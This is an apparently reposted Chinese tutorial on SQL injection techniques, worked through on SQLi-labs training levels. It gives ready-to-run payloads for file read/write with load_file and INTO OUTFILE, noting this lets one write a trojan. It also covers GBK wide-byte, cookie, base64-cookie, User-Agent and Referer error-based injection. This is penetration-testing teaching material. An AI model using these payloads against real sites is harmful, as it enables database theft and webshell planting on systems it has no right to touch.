IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 046 SQL注入二 -> 正文阅读

[大数据]046 SQL注入二

一:读写文件

我们也可以利用SQL注入漏洞读写文件,但是读写文件需要一定的条件。
前提条件:
1:secure-file-priv
可以在phpmyadmin中的导航栏的变量选项中看到该变量。
该参数在高版本的mysql数据库中限制了文件的导入导出操作,该参数可以写在my.ini配置文件中[mysqld]下。
路径:D:\phpStudy\MySQL\my.ini
若要配置此参数,需要修改my.ini配置文件,并重启mysql服务。
在这里插入图片描述

下图中没有任何东西,已经是处于:不限制mysqld的导入导出操作的状态
在这里插入图片描述
关于该参数值的说明:

secure-file-priv参数配置含义
secure-file-priv=不限制mysql的导入导出操作
secure-file-priv=‘c:/a/’限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
secure-file-priv=null限制mysqld,不允许导入导出操作

?
2:当前用户具有的文件权限
查询语句

select File_priv from mysql.user where user="root" and host="localhost";

在这里插入图片描述
3:知道要写入目标文件的绝对路径
读取文件操作

?id=33 and 1=2 union select 1,2,load_file('C:\\Users\\Administrator\\Desktop\\mysql_test.txt'),4,5,6,7,8,9,10,11,12,13,14,15 --+

在这里插入图片描述

写入文件操作

?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile "C:\\Users\\Administrator\\Desktop\\mysql_test2.txt" --+

打开mysql_test2.txt就会看到1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
在这里插入图片描述
这样就可以实现写入木马等操作了。
?
?

二:宽字节注入与SQLi-labs实验

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1’]进行测试的时候,发现提交的单引号会被转义[’]。此时,转义后的单引号不再是字符串的标识,会被做为普通字符带入数据库查询。也就是说,
我们提交的单引号不会影响到原来SQL语句的结构。
我们通过阅读32关的源码,发现几句非常意思的代码,如下。

function check_addslashes($string)
{
	$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
	$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
	$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
	
	
	return $string;
}



mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。

GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。

转移字符[]的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转义字符5c会被看作GBK汉字的低位字节编码,从而失去转义的作用。

如果我们提交这样的参数[?id=1000%df’ union select 1,2,3 --+],就可以使用联合查询进行注入了。

0xdf5c 就一个汉字”運“。

?

我们打开http://10.157.14.169/sqli-labs-master/Less-32/ 这个页面,这里先看下即可,sqli-labs-master的部署,在48章会详细讲到。

这是默认界面:

输入?id=1
在这里插入图片描述
然后输入?id=1’ 发现页面也并没有发生变化。使用[?id=1’]进行测试的时候,发现提交的单引号会被转义[’]
所以当你输入

http://10.157.14.169/sqli-labs-master/Less-32/
?id=1' and 1=2 union select 1,2,3 --+

页面也不会发生改变。

当我们这样输入就会有变化了(页面报错):

?id=1%df'

在这里插入图片描述
然后

http://10.157.14.169/sqli-labs-master/Less-32/
?id=1%df' and 1=2 union select 1,version(),3 --+

在这里插入图片描述
?
?

三:cookie注入

我们使用SQLi-labs第20关来说明cookie注入问题。
cookie注入的注入参数需要通过cookie提交,可以通过[document.cookie]在控制台完成对浏览器cookie的读写。

来到less-20,在控制台输入

document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"

刷新页面即可。

未输入document.cookie之前,输入账密:Dumb/Dumb
在这里插入图片描述
输入之后并刷新页面:
在这里插入图片描述

?

四:base64注入

我们以SQLi-labs 第22关来说明base64注入的问题。
base64注入也是比较简单的,只不过将注入字段经过base64编码。经过测试,发现22关属于cookie型的base64注入。我们可以使用报错注入手法,
payload

document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"

在控制台输入:

document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="

刷新网页即可。
未输入之前:
在这里插入图片描述
输入之后:
在这里插入图片描述
?

五:http头部注入

http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。
User-Agent注入
如SQLi-labs 第18关
payload

User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

这里我们需要用到,burp suite软件,还有火狐浏览器的一个插件
在这里插入图片描述

这里先看看,47章节会做详细介绍。
在这里插入图片描述
在这里插入图片描述
拦截禁用点击一下,变成拦截请求。
然后我们返回浏览器,输入账密:Dumb/Dumb
然后点击:submit 按钮。
再返回到Burp Suite 界面
在这里插入图片描述
选中所有内容,右键发送
在这里插入图片描述
然后点击重发器
在这里插入图片描述
输入上面的命令语句,替换请求头内容
在这里插入图片描述

?

六:Referer注入

第19关,注入字段在Referer中

hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

和http头部注入方式一样,只不过替换的内容不同。
在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 16:21:05  更:2022-03-03 16:23:06 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 10:42:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码